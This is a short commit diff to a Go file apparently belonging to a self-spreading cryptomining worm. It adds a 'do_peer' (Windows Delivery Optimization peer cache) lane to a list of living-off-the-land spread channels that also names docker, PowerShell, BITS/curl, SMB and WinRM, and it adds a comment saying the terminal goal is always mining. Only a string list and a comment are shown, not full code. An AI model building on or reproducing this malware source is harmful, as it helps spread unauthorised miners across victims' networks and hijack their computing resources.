Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion

agent/miner/triple_onion.go

@@ -48,6 +48,7 @@ var DefaultReconTiers = []string{
 }
 
 // DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers).
+// Deploy success is spread-only; terminal goal is always mining via startMiningWhenReady().
 var DefaultDeployLanes = []string{
 	"discover_and_join",
 	"docker",
@@ -55,6 +56,7 @@ var DefaultDeployLanes = []string{
 	"powershell",
 	"dotnet",
 	"bits_curl",
+	"do_peer",
 	"smb",
 	"winrm",
 }